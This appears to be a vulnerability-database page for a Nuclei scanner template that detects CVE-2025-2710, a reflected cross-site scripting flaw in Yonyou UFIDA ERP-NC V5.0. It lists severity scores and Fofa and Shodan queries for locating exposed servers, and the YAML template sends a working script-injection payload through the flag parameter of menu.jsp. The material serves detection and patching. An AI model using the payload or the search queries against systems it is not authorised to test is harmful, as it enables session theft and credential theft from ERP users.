SecurityContext

CVE-2025-2710: Yonyou UFIDA ERP-NC V5.0 - Cross-Site Scripting

  • Template: CVE-2025-2710
  • Name: Yonyou UFIDA ERP-NC V5.0 - Cross-Site Scripting
  • Description: Yonyou UFIDA ERP-NC V5.0 is vulnerable to reflected cross-site scripting (XSS) via the flag parameter in menu.jsp. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.
  • Impact: Successful exploitation of this XSS vulnerability allows attackers to execute arbitrary JavaScript code in victims' browsers, potentially leading to session hijacking, credential theft, or other malicious activities in the ERP system.
  • Remediation: Update Yonyou UFIDA ERP-NC to the latest version. Implement proper input validation and output encoding for all user-supplied data, especially the flag parameter in menu.jsp.
  • Severity: medium
  • Authors: ritikchaddha
  • Tags: cve, cve2025, xss, erp-nc, ufida, yonyou, vuln
  • References: https://github.com/Hebing123/cve/issues/85, https://nvd.nist.gov/vuln/detail/CVE-2025-2710
  • Cves: CVE-2025-2710
  • Verified: yes
  • Max requests: 1
  • Directory: http/cves
  • Path: http/cves/2025/CVE-2025-2710.yaml
  • Digest: 4a0a00473045022022d1a125422a1b734330dbf66333af34e607c052157b484d42f6a37f022dc69b022100f7dcaa3f3d18949e8e723f3d16a3d4f85ca11b07a745b02b4f9a93157cca9fa4
  • Created at: 2025-07-17T06:30:39Z
  • Updated at: 2026-11-24T02:03:42Z
  • Age in days: 495
  • Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-2710.yaml

Classification

  • Cwe: CWE-79
  • Cvss score: 6.1
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Epss score: 0.00957
  • Epss percentile: 0.62327
  • Cpe: cpe:2.3:a:yonyou:ufida_erp-nc:5.0:*:*:*:*:*:*:*

Metadata

  • Fofa-query: icon_hash="1085941792"
  • Max-request: 1
  • Product: ufida_erp-nc
  • Shodan-query: title:"用友"
  • Vendor: yonyou
  • Verified: yes

Products

ProductIndexedUrl
yonyou:ufida_erp-ncyes/v1/products/yonyou/ufida_erp-nc

Labels

  • Name: Yonyou UFIDA ERP-NC - Reflected XSS
  • Impact: Attackers can execute malicious scripts in the context of the victim's browser, potentially stealing cookies or session tokens.
  • Remediation: Apply the latest security patches or update to the latest version provided by the vendor.
  • Vulnerability type: reflected_xss
  • Vulnerability impact: client_script_exec
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2025-2710
  • Not known: requirements

```yaml

id: CVE-2025-2710

info:

name: Yonyou UFIDA ERP-NC V5.0 - Cross-Site Scripting

author: ritikchaddha

severity: medium

description: |

Yonyou UFIDA ERP-NC V5.0 is vulnerable to reflected cross-site scripting (XSS) via the flag parameter in menu.jsp. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.

impact: |

Successful exploitation of this XSS vulnerability allows attackers to execute arbitrary JavaScript code in victims' browsers, potentially leading to session hijacking, credential theft, or other malicious activities in the ERP system.

remediation: |

Update Yonyou UFIDA ERP-NC to the latest version. Implement proper input validation and output encoding for all user-supplied data, especially the flag parameter in menu.jsp.

reference:

- https://github.com/Hebing123/cve/issues/85

- https://nvd.nist.gov/vuln/detail/CVE-2025-2710

classification:

epss-score: 0.00957

epss-percentile: 0.62327

cve-id: CVE-2025-2710

cwe-id: CWE-79

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

cvss-score: 6.1

cpe: cpe:2.3:a:yonyou:ufida_erp-nc:5.0:*:*:*:*:*:*:*

metadata:

verified: true

max-request: 1

vendor: yonyou

product: ufida_erp-nc

fofa-query: icon_hash="1085941792"

shodan-query: title:"用友"

tags: cve,cve2025,xss,erp-nc,ufida,yonyou,vuln

flow: http(1) && http(2)

http:

- method: GET

path:

- "{{BaseURL}}/index.jsp"

host-redirects: true

matchers:

- type: dsl

dsl:

- 'contains_any(tolower(body), "yonyou nc", "name=\"ncapplet")'

internal: true

- method: GET

path:

- "{{BaseURL}}/menu.jsp?flag=%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"

matchers:

- type: dsl

dsl:

- 'contains(body, "<script>alert(document.domain)</script>")'

- 'contains(content_type, "text/html")'

- 'status_code == 200'

condition: and

digest: 4a0a00473045022022d1a125422a1b734330dbf66333af34e607c052157b484d42f6a37f022dc69b022100f7dcaa3f3d18949e8e723f3d16a3d4f85ca11b07a745b02b4f9a93157cca9fa4:922c64590222798bb761d5b6d8e72950

```